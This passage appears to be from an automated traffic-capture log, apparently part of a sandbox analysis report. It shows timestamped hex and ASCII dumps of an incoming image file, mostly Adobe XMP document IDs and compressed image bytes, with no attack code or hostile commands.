2B6C28313CA</rdf:li> <rdf:li>xmp.did:BC5D8500763511DFB823F1CCB8AA04

2022-05-26 11:46:49 UTC 8029 IN Data Raw: 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 6d 70 2f 65 78 74 65 6e 73 69 6f 6e 2f 00 44 30 
41 33 39 39 46 34 41 45 41 43 31 44 35 32 33 36 45 36 43 31 37 41 31 39 33 42 34 41 33 44 00 10 2c c0 00 0e f8 08 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 38 35 42 34 44 39 45 36 31 37 45 
30 31 31 41 41 38 37 45 41 37 31 39 35 42 41 36 44 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 44 32 38 37 41 46 32 43 31 37 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 39 35 34 37 38 36 30 38 32 30 36 38 
31 31 41 46 46 44 46 41 39 44 36 37 39 37 37 43 42 35 3c 2f 72 64 66 
Data Ascii: http://ns.adobe.com/xmp/extension/D0A399F4AEAC1D5236E6C17A193B4A3D,C</rdf:li> <rdf:li>xm
p.did:D285B4D9E617E011AA87EA7195BA6DFB</rdf:li> <rdf:li>xmp.did:D287AF2C172068118083BFD9A9F81730</rd
f:li> <rdf:li>xmp.did:D295478608206811AFFDFA9D67977CB5</rdf

2022-05-26 11:46:49 UTC 8037 IN Data Raw: 41 39 45 32 31 44 33 34 45 39 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 44 42 41 31 34 46 44 33 31 38 37 31 45 32 31 31 41 44 43 35 38 36 42 30 30 38 36 42 46 33 30 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 42 43 38 34 34 33 43 39 32 30 36 38 31 31 38 41 
36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 44 42 43 38 30 44 38 41 39 36 32 30 36 38 31 31 38 37 31 46 44 43 45 30 41 31 37 42 46 45 42 30 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 45 46 45 42 44 30 30 37 32 30 36 38 31 31 38 43 31 34 
41 46 43 38 42 32 37 31 30 30 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: A9E21D34E9EE</rdf:li> <rdf:li>xmp.did:DBA14FD31871E211ADC586B0086BF303</rdf:li> <rdf:li>xmp.did:DB
BC8443C92068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:DBC80D8A96206811871FDCE0A17BFEB0</rdf:li> <r
df:li>xmp.did:DBEFEBD0072068118C14AFC8B2710034</rdf:li> <
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2022-05-26 11:46:49 UTC 8053 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 46 35 38 32 39 35 46 41 30 31 44 34 31 31 45 32 38 31 30 38 44 46 46 33 35 
35 45 42 37 30 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 39 38 41 43 
43 34 32 37 32 30 36 38 31 31 38 38 46 38 46 39 35 46 38 34 34 46 35 42 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 44 31 35 31 37 35 30 43 32 30 36 38 31 31 38 46 36 32 45 38 44 44 34 41 
39 46 38 43 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 44 41 42 38 35 
35 31 38 32 30 36 38 31 31 38 30 38 33 38 41 34 43 42 32 32 39 32 34 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 45 37 38 43 39 35 42 37 38 45 45 
Data Ascii: i>xmp.did:F58295FA01D411E28108DFF355EB7048</rdf:li> <rdf:li>xmp.did:F598ACC42720681188F8
F95F844F5B9F</rdf:li> <rdf:li>xmp.did:F5D151750C2068118F62E8DD4A9F8CB8</rdf:li> <rdf:li>xmp.did:F5DA
B8551820681180838A4CB22924AE</rdf:li> <rdf:li>xmp.did:F5E78C95B78EE

2022-05-26 11:46:49 UTC 8069 IN Data Raw: 30 39 45 33 37 37 30 31 39 41 34 44 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 39 30 32 45 34 46 35 41 35 32 32 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 
39 32 42 30 43 39 33 36 32 35 42 35 43 30 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 6
9 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 41 38 32 46 36 43 44 34 33 30 41 30 33 31 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 
31 37 35 42 44 38 37 39 41 39 42 45 32 31 34 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: 09E377019A4DC5</rdf:li> <rdf:li>xmp.did:FB7F1174072068119109E902E4F5A522</rdf:li> <rdf:li>xmp.did:
FB7F11740720681192B0C93625B5C027</rdf:li> <rdf:li>xmp.did:FB7F1174072068119A82F6CD430A0319</rdf:li> 
<rdf:li>xmp.did:FB7F117407206811A175BD879A9BE214</rdf:li>

2022-05-26 11:46:49 UTC 8073 IN Data Raw: 45 32 31 31 42 46 31 30 46 35 37 30 32 36 37 31 46 35 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 46 44 42 36 37 44 35 44 46 32 44 39 45 32 31 31 39 33 36 43 41 41 45 34 37 37 36 31 35 
44 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 46 33 36 41 42 43 31 42 
32 30 36 38 31 31 38 32 32 41 42 39 41 42 46 41 46 34 46 39 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 46 45 31 32 46 39 30 36 36 37 45 37 45 30 31 31 41 42 42 32 42 32 43 43 30 33 31 42 46 36 
38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 31 39 42 45 36 33 32 38 32 
30 36 38 31 31 42 38 34 30 38 39 41 46 33 35 41 37 36 35 44 42 3c 2f 72 
Data Ascii: E211BF10F5702671F52E</rdf:li> <rdf:li>xmp.did:FDB67D5DF2D9E211936CAAE477615D9A</rdf:li> 
<rdf:li>xmp.did:FDF36ABC1B206811822AB9ABFAF4F952</rdf:li> <rdf:li>xmp.did:FE12F90667E7E011ABB2B2CC03
1BF68C</rdf:li> <rdf:li>xmp.did:FE19BE6328206811B84089AF35A765DB</r

2022-05-26 11:46:49 UTC 8089 IN Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 38 30 66 38 32 38 38 2d 32 61 33 37 2d 62 61 34 66 2d 38 33 39 37 
2d 34 31 65 31 39 33 66 34 65 31 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
63 38 37 62 63 61 33 61 2d 61 36 61 39 2d 34 65 66 36 2d 61 63 64 33 2d 35 66 31 30 36 32 33 66 66 64 65 37 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 38 38 32 62 64 61 35 2d 39 66 63 38 2d 34 34 
31 33 2d 61 37 32 32 2d 66 32 38 39 64 38 39 34 63 65 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 63 38 38 33 31 38 61 31 2d 39 62 30 62 2d 34 32 65 36 2d 61 61 37 32 2d 39 34 31 30 62 64 66 38 
65 62 31 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: :li>xmp.did:c80f8288-2a37-ba4f-8397-41e193f4e110</rdf:li> <rdf:li>xmp.did:c87bca3a-a6a9-4ef6-acd3-
5f10623ffde7</rdf:li> <rdf:li>xmp.did:c882bda5-9fc8-4413-a722-f289d894ce84</rdf:li> <rdf:li>xmp.did:c88318a1-9b0b-
42e6-aa72-9410bdf8eb1a</rdf:li> <rdf:li>xmp

2022-05-26 11:46:49 UTC 8105 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 61 35 34 35 62 61 61 2d 61 65 37 35 2d 34 62 63 39 2d 61 66 38 
63 2d 36 34 32 38 65 63 61 65 31 34 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 66 61 38 66 64 36 61 66 2d 61 37 36 66 2d 34 39 63 64 2d 62 61 65 36 2d 34 66 39 62 35 65 31 32 31 36 38 36 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 61 64 65 38 31 31 33 2d 66 62 61 61 2d 34 
61 64 63 2d 38 33 37 35 2d 33 35 31 63 35 64 61 36 63 39 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 66 62 33 30 65 30 65 38 2d 34 31 35 65 2d 34 38 38 64 2d 61 39 65 39 2d 33 66 33 33 63 65 37 
30 66 33 36 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
Data Ascii: f:li>xmp.did:fa545baa-ae75-4bc9-af8c-6428ecae1478</rdf:li> <rdf:li>xmp.did:fa8fd6af-a76f-49cd-bae6-
4f9b5e121686</rdf:li> <rdf:li>xmp.did:fade8113-fbaa-4adc-8375-351c5da6c954</rdf:li> <rdf:li>xmp.did:fb30e0e8-415e-
488d-a9e9-3f33ce70f36b</rdf:li> <rdf:li>xm

2022-05-26 11:46:49 UTC 8113 IN Data Raw: dc 6b b2 ae 4e 1b e8 03 ba c6 de da d4 ca 45 1c 85 4e 94 34 09 c1 a0 b9 3b e3 d4 56 5b 61 9b ee 94 67 bb 
8b d6 a8 c5 b1 07 03 b2 80 22 62 03 5b 51 22 82 44 8d 2f ad a8 02 d9 b3 d0 a0 55 1a 8a 95 42 de 45 06 64 92 33 9b 93 
c6 b7 4a 0e 56 e4 ae d5 44 0d 6a 00 56 a0 04 45 00 36 da 00 54 00 e4 50 03 5a 80 1e d4 0c 54 00 d6 a0 42 a0 05 40 0a 
d4 00 d6 a0 42 b5 30 15 a8 01 5a 81 8f 48 06 a0 05 4c 05 40 0a 80 15 a8 01 50 21 50 02 a0 05 ef a0 06 b5 00 2b 50 03 
d2 18 d4 c4 31 14 00 a8 01 5a 80 15 a8 10 ad 40 0f 6a 00 56 a0 62 b5 21 88 8a 62 1a 80 1c 0a 00 54 00 bb 69 0c 7a 00 
56 a0 04 28 01 ed 40 0a 80 15 00 2a 00 54 00 a8 01 e8 01 a8 18 f4 00 a8 10 d4 0c 7a 00 6a 00 7a 40 2a 60 35 a8 10 d6 
a0 04 05 00 3d 00 3d 03 10 14 00 ad 48 07 34 00 f6 a0 05 6a 00 56 a0 07 b5 
Data Ascii: kNEN4;V[ag"b[Q"D/UBEd3JVDjVE6TPZTB@B0ZHL@P!P+P1Z@jVb!bTizV(@*Tzjz@*`5==H4jV

2022-05-26 11:46:49 UTC 8129 IN Data Raw: 69 36 34 8d 14 c6 44 4d ae 2e 78 de b1 76 3a 15 52 45 98 b0 c6 0e d2 2a 6c ca aa 46 c6 3c 51 a1 04 28 0d 5c 
ed b3 a6 a9 07 e4 f5 2f a7 8b 4a ce b4 96 69 6b c2 39 cc 8c c6 9a f2 57 5d 6b 07 25 ad 20 41 cb 9d 78 8a d4 c6 64 28 46 
ac c0 1e 16 ac e4 d2 24 d1 c4 e9 2c ae a4 00 54 ea 4f 6d 63 6c 86 d5 c7 0c 2b 37 a4 48 cd ba 31 a5 b8 54 57 21 a5 b1 8f 
d2 cc b8 e6 c5 4e 94 5e 18 53 43 55 7a b1 76 da 17 5a c7 61 b6 f3 5b 1b 24 5a cd 58 b4 6a 98 6a 4a 0f 0a 82 89 79 9a 
d0 32 d5 b1 a0 06 6c 60 46 94 48 41 01 06 ca 00 8b 0a 62 18 1b 70 a0 09 a8 b9 a4 32 cb 5a 80 17 0a 00 ae 67 d2 80 02 
79 75 aa 24 92 4b 7a 00 21 75 a9 28 b0 5c 50 04 64 63 6a 00 a5 dc 8a 62 28 69 35 a6 49 64 2f 73 40 d1 a3 1c bd 95 05 0
4 2d 8e b4 0c 76 51 c6 80 01 ca 88 b0 21 69 a6 26 72 29 87 21 c9 
Data Ascii: i64DM.xv:RE*lF<Q(\/Jik9W]k% Axd(F$,TOmcl+7H1TW!N^SCUzvZa[$ZXjjJy2l`FHAbp2Zgyu$Kz!u(\Pdcj
b(i5Id/s@-vQ!i&r)!

2022-05-26 11:46:49 UTC 8145 IN Data Raw: 0d f4 14 d3 10 14 bd 3d 24 53 14 83 43 56 ad 04 3a c9 ce e6 fa 6d a2 6e 4b 95 ae 9a e5 39 6d 84 0e 5c 79 62 
42 81 49 1e da b5 64 c9 75 68 a6 38 ee 0a 3d 53 64 24 29 21 8d 3c 56 34 26 d8 34 90 c3 19 df 9e 22 5b db 46 ef 78 6d 
9e 03 e4 e0 4c bf 99 6b 50 ae 82 d4 60 65 48 d0 f6 56 86 44 e1 4e 6b 76 52 6c a4 8d ce 82 44 52 5c 70 35 cd 93 53 ab 
1e 87 ff d5 ed ad 5e c9 e1 0a d4 00 ad 40 0d 6a 00 54 00 ad 40 0f 6a 00 56 a0 05 6a 00 56 a0 05 40 0a 80 1e d4 00 d6 a
0 07 b5 00 2b 50 02 14 80 7b 50 31 ad 40 0a d4 08 7a 06 2a 00 54 00 f4 00 ad 40 0a 81 8a 80 1e 80 15 20 1a 98 0a 80 
11 a4 02 a6 21 50 03 50 03 d0 31 52 01 53 01 50 02 a4 02 a0 07 a0 05 40 0a 80 15 03 15 02 15 00 2a 00 7a 00 57 a0 62 
bd 00 38 34 80 57 a0 05 7a 00 7b d0 02 bd 00 3d e8 18 b7 50 03 de 90 0b 
Data Ascii: =$SCV:mnK9m\ybBIduh8=Sd$)!<V4&4"[FxmLkP`eHVDNkvRlDR\p5S^@jT@jVjV@+P{P1@z*T@ !P
P1RSP@*zWb84Wz{=P

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 8152 IN Data Raw: 2a 06 2a 00 54 00 a8 01 50 02 a0 05 40 0a 80 15 02 15 00 35 03 15 02 15 30 1a 80 15 03 1e 80 1a 90 0a 81 
0a 80 15 03 1e 80 1a 80 11 a0 06 a6 02 a0 05 40 08 50 02 a0 05 40 0a 81 0a 81 8a 80 15 00 2b 50 02 14 80 54 00 d4 c4 
2a 00 54 0c 6a 00 54 00 a8 01 50 21 50 03 50 03 d0 03 50 03 d0 02 a0 06 b5 03 15 00 7f ff d5 f4 4a f4 8f 20 54 00 ad 40 
0a 80 15 00 2a 00 54 00 a8 01 50 02 a0 05 40 0f 6a 00 6a 00 71 40 0a 80 15 00 2a 00 6a 00 7a 00 54 00 ad 40 0e 50 d0 
38 1b 6d 02 15 00 2a 00 63 40 0a 80 1e 80 15 00 2a 06 2a 00 b6 3c 59 65 17 45 24 0f 75 4b b2 45 2a 36 74 78 5e 90 57 
88 34 ce 43 1e c1 d9 5c b6 cf ee 3b 2b e9 d4 6a 34 9e 8e 24 9d 8f 61 d9 71 42 ce 27 e9 ca e1 f4 5c ed 7f 31 c2 8a 6f 38 
97 a7 f7 9a 98 9e 92 c5 88 7e 60 2e 7d e6 b2 79 9b 36 ae 14 8b db d2 
Data Ascii: **TP@50@P@+PT*TjTP!PPPJ T@*TP@jjq@*jzT@P8m*c@**<YeE$uKE*6tx^W4C\;+j4$aqB'\1o8~`.}y6

2022-05-26 11:46:49 UTC 8168 IN Data Raw: 80 c6 01 5b 6d 61 fa 45 09 c9 26 73 e4 45 0b 18 a3 05 9b e5 d6 ff 00 65 6b 02 35 70 fa 66 76 40 04 46 d1 a7 
b5 ce db fe ba c2 d9 2a 8b 48 3e 2f 4e 94 37 9e 63 6f 81 05 97 f6 9b 5a c1 e7 f7 20 66 0b 74 c7 39 5b a2 c4 94 c3 60 00 
26 c7 ef 6e ae 9f 31 6d d5 90 76 51 46 02 8d 4a 90 38 7b 2b cc 6c 65 69 81 04 6f e6 a2 28 93 e2 b6 b4 dd db d0 65 a1 58 
9a 91 0e 54 fd 94 0c 62 1c 1e 26 d4 e4 64 c1 36 d4 50 31 c3 85 e2 29 00 cd 25 f8 9b 7d b4 c0 62 17 80 d6 80 24 13 b3 
4a 06 33 5d 7f 4d 00 7f ff d3 e0 52 4d 41 00 80 35 fd 35 ef 9f 3c 11 92 aa c9 a7 13 c6 a5 0d 95 e2 46 59 03 8b ed 5b de 
dc 69 b6 15 1d 9f cc 3c 00 03 b2 82 82 31 e6 18 ff 00 c3 3a de f5 16 52 0b 43 a1 c5 eb cf 32 8d c4 31 1c 6f c6 b9 5e 38 
3a ab 90 2c 67 97 00 9b 0a 9d 85 6f 0b 6f 52 e4 10 00 b0 00 
Data Ascii: [maE&sEek5pfv@F*H>/N7coZ ft9[`&n1mvQFJ8{+leio(eXTb&d6P1)%}b$J3]MRMA55<FY[i<1:RC21o^8:,gooR

2022-05-26 11:46:49 UTC 8184 IN Data Raw: a3 23 e1 24 7f 74 d3 c5 ea eb 4e c9 2e b7 da 62 e4 7f 4e 62 c8 70 f2 4c c0 fb 07 6f db 5d 7f fe 45 f6 24 3f 30 
68 bf a7 18 31 31 df 34 9b 4f 10 1a c0 fb 8d aa 5f fc 8d bd d5 0d e6 ea fa 63 a7 6d 50 03 00 a2 c0 06 d0 57 05 bd 55 9b 
97 01 b8 9c de 90 e9 b9 36 69 50 b1 5d 2e 58 d4 7f 97 75 da 29 34 31 3a 3c 78 c4 18 2c 00 d2 c4 df fd f5 cc fd 5b 40 ac 
d1 79 c2 2c db da c4 8e 1c 3f e5 4b fc e6 56 f6 10 8f 91 1d b6 91 a1 b8 d0 71 fd 54 7f 9e ca 59 6c 50 64 94 3b 38 20 33 f7 
8d b5 3f 6d 53 f5 8f de 27 76 51 2c 2d 23 07 90 df fd f5 0f d4 49 9b d4 7d 50 6d 52 40 f6 5b 4a e7 b5 b7 6a 20 5c 99 23 8b 
59 1f 68 3a eb a0 ae 8a 5d be 00 50 32 b0 db 4f 34 1b fb c7 1a b9 b9 21 29 0c 6d aa b5 ab 37 96 c3 0b 8b 1d 2d a9 bd 63 
6f 51 60 82 7e 4c 63 89 35 9f f9 16 1c 13 02 25 
Data Ascii: #$tN.bNbpLo]E$?0h114O_cmPWU6iP].Xu)41:<x,[@y,?KVqTYlPd;8 3?mS'vQ,-#I}PmR@[Jj \#Yh:]P2O4!)m7-
coQ`~Lc5%

2022-05-26 11:46:49 UTC 8192 IN Data Raw: b7 05 22 d4 91 2c b5 22 94 9b d8 11 ed e1 4f 6b 11 30 9b 8d ac 2f d9 a7 fc 6a 92 11 17 c4 93 88 5e 51 c4 d0 
ea c0 ac c6 50 d8 80 7d f5 11 02 19 89 36 b8 d2 81 0c 36 db 80 fb 69 a0 2a 2e 07 02 2d 4c 63 06 5b 59 8d 20 1d 5c 71 
e2 29 48 12 b2 9d 57 4d 3b 2a 80 81 04 70 35 22 1c cc 47 6e 9e da 72 21 d6 63 d8 6c 2a 80 b5 27 24 58 f1 14 04 93 f3 
06 8a 7b 69 0c 72 8a dc 38 54 c0 c4 22 61 c0 fe ba 49 31 90 67 60 75 d6 da d5 6a 29 18 1b 9d c7 8f db 40 8b 16 f6 be b4 
d0 c7 0c c4 5c d8 8f ed a6 02 2c 35 36 06 a8 08 16 df a0 1c 29 0c 41 48 d7 85 10 32 40 05 1d ba d1 00 5a b2 58 8b 5e ad 
56 40 72 e9 2e 8f af 66 a6 d5 5b 06 20 00 b0 ec fd 75 5b 00 8b 01 6b dc 11 fa a9 6c 02 91 16 c6 2e 48 b9 d3 f4 55 6d 60 
57 23 ec 37 0c 3d e6 b5 ae 39 25 95 1c 90 ba 96 bf e8 ab f2 c9 
Data Ascii: ","Ok0/j^QP}66i*.-Lc[Y \q)HWM;*p5"Gnr!cl*'$X{ir8T"aI1g`uj)@\,56)AH2@ZX^V@r.f[ u[kl.HUm`W#7=9%

2022-05-26 11:46:49 UTC 8208 IN Data Raw: 67 2c b7 95 86 d8 c4 7b 8e 96 17 1d 97 ab 78 e3 4f b4 01 f0 98 e4 2b 0c c5 5f 2d dc aa 8b df 42 3b 7f 15 5d f9 
5f 2f b8 94 17 1e 1c 38 a8 42 80 a8 bf a0 7e 1a c9 dd d9 95 05 4f 87 14 44 e5 b0 da 55 75 b9 3a 58 69 f2 d5 ab b7 ca 22 
53 45 f5 b8 aa 24 63 b6 45 06 e0 83 7f d3 ee a5 57 b2 da 76 01 66 12 94 0b 0a ca 58 0b 0d 40 d2 a6 ee 75 81 15 34 a8 
c8 c0 11 75 70 a4 9f 7b 05 aa 86 9f f2 10 d3 ce b1 c8 88 4f 7d ad 61 45 6b 29 8c 21 9e 42 41 29 65 d6 da ea 7f fc 2a 12 
43 04 79 26 f3 83 a2 9d 9b 42 92 a4 5c 71 63 f7 bc 35 aa 4a 21 8c ba db 8d c9 6b a5 8d ad c0 9f f8 da a0 45 65 12 49 18 
a8 26 45 1a 93 a1 e1 57 b9 a5 1d d1 16 43 0b 46 db ac 1c d8 02 48 d6 c3 87 ea a8 76 9f b0 20 6f a3 95 54 a3 30 7e 6d 
c2 c2 c2 fd b7 1d bc 69 ef 40 d1 40 c2 58 ae fa 16 bd c0 ec 
Data Ascii: g,{xO+_-B;]_/8B~ODUu:Xi"SE$cEWvfX@u4up{O}aEk)!BA)e*Cy&B\qc5J!kEeI&EWCFHv oT0~mi@@X

2022-05-26 11:46:49 UTC 8224 IN Data Raw: 02 25 3c 38 5b 5a 4e 3b 02 58 c3 4d 0b 6d 1c 6e 4d 02 91 dc ee d6 36 1e e3 c6 f4 2d 38 95 23 23 07 4b 70 61 
c7 b6 9b 50 c7 b8 aa 48 0b 12 c2 db 9b df 54 ac 65 64 0d 2c a9 01 08 e7 69 66 03 97 da 6b 44 9d b8 19 89 33 10 ca f1 
eb 78 da d6 3c 2d e1 fb 68 74 70 9f bc 69 95 67 49 93 3c a2 2c 46 50 61 70 64 04 90 2f 6e ee 9d ea ba 2a d5 4d bb cb 94 
6d b0 f8 4b 95 06 64 b3 7b 2f a5 60 e3 b0 d5 36 51 85 9d e6 cd 34 6c 54 ec 70 a2 de cb 55 de 90 93 f7 a2 55 8c 0e b1 8b 
8d d4 32 c4 2d 3b 89 e2 bd b9 bb bf 75 7b 6b bf 0d ed 8e b3 1c b6 fb 08 6d 9d 0c 38 e5 54 07 e6 b7 8a d6 bf e8 af 3e d6 
36 55 2e 78 4b 6a 0b 2f e8 15 09 94 d1 9a 30 24 57 91 c4 8c c5 c8 24 03 6e 02 cb 5d 3e 62 84 a3 81 96 d8 2a cd e8 b3 cf 
71 ba 45 ba 85 d4 86 d0 6b db ed aa a6 75 5f 71 2d 02 f4 7e 
Data Ascii: %<8[ZN;XMmnM6-8##KpaPHTed,ifkD3x<-htpigI<,FPapd/n*MmKd{/`6Q4lTpUU2-;u{km8T>6U.xKj/0$W$n]
>b*qEku_q-~

2022-05-26 11:46:49 UTC 8232 IN Data Raw: 62 c7 78 00 0c 41 03 d8 3f 0d 72 d6 67 51 99 18 98 f9 f1 42 c9 99 22 3a ea 4b 29 b1 b5 be 0a eb bd a8 dc d5 
34 0e 0a e3 f4 f7 9c 7e a7 1a 56 88 31 b6 ba dc 0f f3 d5 3f 53 1c b6 5b 84 8d fc 29 41 80 5f 94 91 c2 b8 2e b5 2e 41 a6 c7 
70 59 95 82 b6 84 93 ad af 5a 2b 21 30 0c 3e 8f 26 42 94 79 fc d0 fb 99 ae 38 8f b7 e5 ae 8b e6 55 e0 b6 82 72 3e 6f 4b 
c2 45 f3 9e 56 36 b2 1b 1b 8f b8 05 2a 65 bb d2 3e d1 b6 13 06 1c 0b 17 93 13 ef 8a c6 e2 fa db fc 35 9d ae db 96 b5 1a 
2d 9b 18 e3 c4 17 10 aa 11 a8 66 b9 d0 54 2b 6e 7c c2 60 4b d3 3a 9a 4f 24 9e 70 92 09 48 24 1b 8b 69 ae d3 e1 ad de 
5c 6e a9 44 5a a0 4e 4c 91 16 57 d3 47 ce de 58 22 e7 b4 fc 43 ec a9 55 9a ee 7e f2 42 e3 4c 82 02 4b 62 dd 96 16 d2 f5 
93 75 ec 18 e2 63 b4 b5 94 2a dc 16 26 d6 b1 b5 1b 75 1c 
Data Ascii: bxA?rgQB":K)4~V1?S[)A_..ApYZ+!0>&By8Ur>oKEV6*e>5-fT+n|`K:O$pH$i\nDZNLWGX"CU~BLKbuc*&u

2022-05-26 11:46:49 UTC 8248 IN Data Raw: c5 d1 20 9e 58 a5 cf 91 4e 4a dc ab 27 29 70 0f c2 d5 c8 f3 da a9 aa 2e 4f 8b ba 23 47 17 1f ce 55 c8 46 dd 19 
5d 49 6b 91 f6 13 bb 75 73 de db 74 7c 4b 46 f2 4e 31 b1 3c 98 46 e2 e6 fc 78 db bb a9 ec a8 77 e5 8f 17 51 d3 ba 14 1c 
c7 4b 87 ab 7d 64 92 ca a1 61 b9 b5 99 77 13 6e c5 e6 ad f2 db 16 d4 97 57 f3 da 73 e8 6a 64 45 0e 4c 8a 25 8d 4c b6 
b8 04 6b 71 af 67 f8 6b 96 ad d5 68 f9 4c c1 24 0a 19 da 62 25 6d fc d6 d0 ae 97 54 1f 2d 6c b8 28 e5 d3 ef 0c b0 c1 8e 
19 65 3b 1d 8d 82 dc 5e d6 f6 13 ec a9 dd 6e 1a 8e 02 d2 18 c7 98 57 93 6e 9a 68 0f de f6 ad 64 db d0 10 28 fc 9c b2 c8 
db 81 03 7a a8 e3 6e eb a1 f0 ec f8 7c 5f 0d 6b d5 5f ca 29 2b c3 ea 18 9d 40 ee 98 23 3c 72 35 99 88 d0 a9 b5 d3 fc d4 
ef 8e d8 f8 4f 32 5f 88 a9 02 83 ad 83 9f 2c 73 dc ac ad 
Data Ascii:  XNJ')p.O#GUF]Ikust|KFN1<FxwQK}dawnWsjdEL%LkqgkhL$b%mT-l(e;^nWnhd(zn|_k_)+@#<r5O2_,s

2022-05-26 11:46:49 UTC 8264 IN Data Raw: b3 e5 05 13 48 4a c4 d1 b1 5b 0b 73 2b f1 e5 ae 99 4b 4a f4 d7 af 71 52 8f ff d2 e0 65 f4 d7 56 62 af e6 2b 20 
3b 95 ae 6f fb 1e fa f8 b5 ea 71 70 83 cf 84 69 c5 0e 7c 00 6f 91 05 95 6e 0d fd b5 ca ed 4b 70 4c 69 11 cc 5e a5 3a f3 ba 
5a f7 00 02 2f 6e 1f aa aa 9e 5d 78 26 54 05 4d 3b e4 aa c5 99 ba 42 c0 0b 46 2c b7 f9 bb 6b 2a d5 57 5a f2 fc dd 41 0c 
bd 3a 06 22 8f 39 e2 bb 8d 4d c9 3d ba 36 da cd fa 8b 70 4c 52 5a 53 0a 76 11 b7 23 a6 80 5f 40 0f ee d4 cd ea a4 44 32 
3a 66 36 64 7f 42 cb f9 36 0c 75 ed 3e fa 75 cb 6a 3d dd e2 93 80 1c 7c 1e 99 d3 41 50 ed 33 37 2e d2 74 1f 65 6f 6c 99 
32 7c 25 49 a1 1f 4d c4 d6 79 51 12 e2 e4 71 01 45 60 f2 db 82 92 24 6f 2a 1c 74 df 8b 1a ef 94 68 0e a5 80 a2 5d 9c 59 
f4 88 b1 31 83 8f cc 8c 58 db 94 f6 54 bb 47 06 5a 
Data Ascii: HJ[s+KJqReVb+ ;oqpi|onKpLi^:Z/n]x&TM;BF,k*WZA:"9M=6pLRZSv#_@D2:f6dB6u>uj=|AP37.teol2|%IM
yQqE`$o*th]Y1XTGZ

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 8272 IN Data Raw: 07 85 9a dd ef f3 54 aa bb 38 48 52 0e 9e a1 82 42 62 89 4c 8d 6d 02 dc 93 71 a6 83 b7 75 68 fd 3d 96 af 94 
12 1f a2 48 bd 47 13 6d f4 ee b5 ce b7 e2 d7 61 dd a5 9d 79 76 1b d0 9f 4c 7c 6d 9e 4c 2c c0 46 6d 66 24 fb f4 f6 d2 ca 
